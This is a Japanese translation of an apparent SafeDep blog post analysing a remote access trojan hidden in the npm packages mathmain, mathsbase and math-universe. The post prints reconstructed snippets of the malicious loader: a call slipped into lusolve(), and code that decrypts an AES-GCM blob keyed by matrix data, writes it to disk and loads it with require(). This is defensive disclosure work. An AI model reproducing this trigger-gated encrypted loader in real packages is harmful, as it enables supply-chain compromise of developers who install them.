セキュリティ
NPMの数学ライブラリはなぜ暗号化されたローダーを必要とするのか?
Why Does an NPM Math Library Need an Encrypted Loader? (safedep.io)
要約
SafeDepチームは、人気のあるmathjsライブラリのコピーであるnpmパッケージ[email protected]内に隠されたリモートアクセス型トロイの木馬を発見しました。このマルウェアは、特定の数式が解かれるまで暗号化された状態で待機し、攻撃者からのコマンドを実行します。攻撃者は公開チャットサービスとブロックチェーンネットワークをコマンドチャネルとして使用していました。このローダーは、公開されているGitHubリポジトリには含まれておらず、パッケージの公開時に追加されたものと推測されています。
全文翻訳
ブログに戻る
NPMの数学ライブラリはなぜ暗号化されたローダーを必要とするのか?
セキュリティ
SafeDepチーム • 2026年9月18日 • 11分で読めます
このページについて
11セクション
このページについて
私たちは、人気のあるmathjsライブラリをコピーしたnpmパッケージ[email protected]内に隠されたリモートアクセス型トロイの木馬を発見しました。悪意のあるコードは暗号化されて配布されています。プログラムがライブラリを使用して特定の数式を解くまで、コードは休眠状態を保ちます。その数式がキーとなります。キーが一致すると、パッケージはペイロードを復号して実行します。ペイロードは攻撃者からのコマンドを受け取り、ホスト上で実行します。コマンドチャネルには、公開チャットサービスとブロックチェーンネットワークを使用します。この記事では、ローダーをどのように発見し、復号し、ペイロードが何をするのか、そしてそれを見つけるために使用できる兆候について説明します。
ローダーへの道
私たちは2026年9月17日にSafeDepによるmathmainの分析から始めました。このパッケージは、異なる名前と難読化されたコードを持つmathjsのコピーのように見えました。solverに追加された1つの呼び出しが、私たちをローダーに導きました。
solverは型チェックを呼び出す
lusolve()の終盤で、CommonJSビルドに追加された呼び出しを見つけました。solverは既に結果を計算していました。その後、下三角行列からのデータをremoveSolveValidation()に渡しました。
lib/cjs/function/algebra/solver/lusolve.js
1// 読みやすいように再構成:復元された文字列と名前が変更されたローカル変数。
2l && (q = removeSolveValidation(l._data));
3
4return x;
ここで、lは下三角行列を保持し、xは結果を保持します。solverはxをそのまま返します。追加された呼び出しの戻り値はqに代入されますが、qは再度使用されません。私たちはremoveSolveValidation()をisGraph(x)(lib/cjs/utils/is.js内)に追跡しました。このファイルには、isMatrixやisNumberのようなチェックが含まれています。追加されたisGraph()関数は、コードを復号してロードします。
lib/cjs/utils/is.js
1// 読みやすいように再構成:復元された文字列と名前が変更されたローカル変数。
2const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';
3
4function isGraph(x) {
5 const password = JSON.stringify(x);
6 const name = validEvent(STAGE1_BLOB, password);
7 const target = path.join(__dirname, name);
8 const mod = require(event(target, password));
9
10 return (x && mod.validGraph(password)) || false;
11}
isGraph()は入力をJSON文字列に変換し、その文字列をパスワードとして使用します。まず、ファイル名を復号します。次に、fileパスとパスワードをevent()に渡し、event()が返すパスをrequire()でロードします。ローダーの断片を、文字列を復元しローカル変数を名前変更することで、読みやすくしました。記事の最後にあるハッシュは、元のファイルを識別します。
行列データがパスワードになる
lib/cjs/utils/event.jsで、復号関数を見つけました。これらはscryptを使用してパスワードを256ビットのキーに変換します。その後、Galois/Counter Mode (AES-GCM) でデータを復号します。
lib/cjs/utils/event.js
1// 読みやすいように再構成:復元された文字列と名前が変更されたローカル変数。
2const key = crypto.scryptSync(password, salt, 32);
3const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
4decipher.setAuthTag(tag);
5return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
暗号化されたデータには固定のレイアウトがあります:16バイトのsalt、12バイトの初期化ベクトル、16バイトの認証タグ。その後に暗号文が続きます。パッケージは、このシーケンス全体をbase64テキストとして保存します。solverを介した呼び出しでは、パスワードはJSON.stringify(L._data)です。呼び出し元は、lusolve()のオブジェクト形式でLを提供できます。したがって、呼び出し元は正しいパスワードを生成する行列データを渡す必要があります。可視化されたローダーにはパスワードは保存されていませんでした。暗号化されたファイル名には8バイトの暗号文があります。私たちは、それがgraph.jsというファイルの名前であると推測しています。このファイルはローダーの隣にあり、その名前も8バイトです。パスワードを復元できなかったため、これを確定できませんでした。
ローダーはファイルを書き込み、実行する
event()ヘルパーはファイルを復号し、結果をディスクに書き込み、出力パスを返します。
lib/cjs/utils/event.js
1// 読みやすいように再構成:復元された文字列と名前が変更されたローカル変数。
2const plaintext = eventEmitter(file, password);
3const dir = path.dirname(path.resolve(file));
4const base = path.basename(file).replace(/^enc_/, '');
5const outPath = path.join(dir, base);
6fs.writeFileSync(outPath, plaintext);
7return outPath;
ファイル名にenc_プレフィックスがない場合、ヘルパーは暗号化されたファイルを復号されたコードで上書きします。isGraph()のrequire()呼び出しがそれをロードします。そのコードは、Node.jsプロセスと同じ権限で実行されます。
3つの追加ファイルには、通常のJavaScriptの代わりにbase64データが含まれています。
パッケージにはインストールフックはありませんでした。レビューしたパスを通じてパッケージをインポートしても、ローダーはアクティブになりません。solverは、追加された呼び出しに到達するために、まず検証および計算ステップをパスする必要があります。パスワードが間違っている場合、validEvent()はヘルパーがファイルを書き込む前に認証チェックに失敗します。
同じローダーがさらに2つのパッケージにも出現
npmレジストリを検索したところ、さらに2つのパッケージが見つかりました:mathsbaseとmath-universeです。5つのバージョンにわたって、同一のローダーファイル、トリガーコード、solverの変更、および2つの大きな暗号化ファイルが見つかりました。[email protected]の暗号化されたgraph.jsは、他のコピーとは異なります。共有ファイルはこれらのリリースを接続しています。誰がローダーを追加したのか、あるいは誰かが発行者のアカウントを乗っ取ったのかはわかりません。9月17日、npmは[email protected]をデフォルトリリースとして提供しました。そのバージョンにはこのローダーは含まれていませんでした。デフォルトバージョンのみをチェックしていた場合、1.0.1のコードを見逃していたでしょう。
9月19日、私たちは3つのパッケージすべてのnpmダウンロード数を確認しました。これらの合計は2026年9月12日から18日までの各パッケージの全バージョンを対象としています。
パッケージ 報告されたダウンロード数
mathmain 605,157
mathsbase 1,923,059
math-universe 569,730
npmはまた、9月17日のレジストリ全体でのダウンロード数がゼロであったと報告しました。これにより、mathmainの以前のゼロダウンロードの信頼性が低下します。これらのパッケージには公開されている依存関係はありません。jsDelivrコンテンツネットワークでのトラフィックはほとんどありません。したがって、これらのカウントは実際のインストールを示していません。何がこのダウンロード数を生み出したのかを特定できませんでした。これらのカウントは、いくつのシステムがパッケージをインストールしたのか、あるいは暗号化されたコードが実行されたのかを示していません。
ローダーはGitHubソースにはない
mathsbaseとmath-universeパッケージはそれぞれ公開GitHubリポジトリにリンクしています。両方を読みました。どちらのリポジトリにもローダーはありませんでした。
リポジトリ レビューされたコミット
github[.]com/tinystar8/mathsbase 560d97e66140dbf817e04284a7a0c58757d1202e
github[.]com/mathubio/math-universe da99dd46501ef60ebb922174da32
公開されているmath-universeのソースは、solverを次のように終了しています。
1// mathubio/math-universe, commit da99dd46501ef60ebb922174da32
2// src/function/algebra/solver/lusolve.js; 元のソース抜粋。
3if (q) {
4 x._data = csIpvec(q, x._data);
5}
6
7return x;
追加されたremoveSolveValidation()呼び出しはありません。npmビルドにはありますが、GitHubソースにはありません。したがって、誰かがパッケージを公開する際にローダーを追加したのであり、公開コードには追加していません。私たちはまた、トリガーでsolverを呼び出すプログラムを探しました。GitHubのコード、ロックファイル、依存関係サービスを検索しました。 noneが見つかりました。プライベートプロジェクトや検索エンジンが見落とすコードは、手の届かないところにあります。
最初の試みではパスワードが見つからなかった
暗号化されたファイル名に対して16,922個の可能なパスワードをテストしました。一部はゼロ対角成分を持つ行列から来ており、これらは以前の検索で除外されていました。2回目の検索では、古いgraph.jsを含む、5つの異なる暗号化されたブロブすべてに対して533個の可能なパスワードをテストしました。一般的なパスワードやsolverのテストからの数値配列を試しました。どちらの検索でも、認証チェックをパスするパスワードは見つかりませんでした。一部のパスワードは両方の検索に現れました。テストデータとkを使用してツールをチェックしました。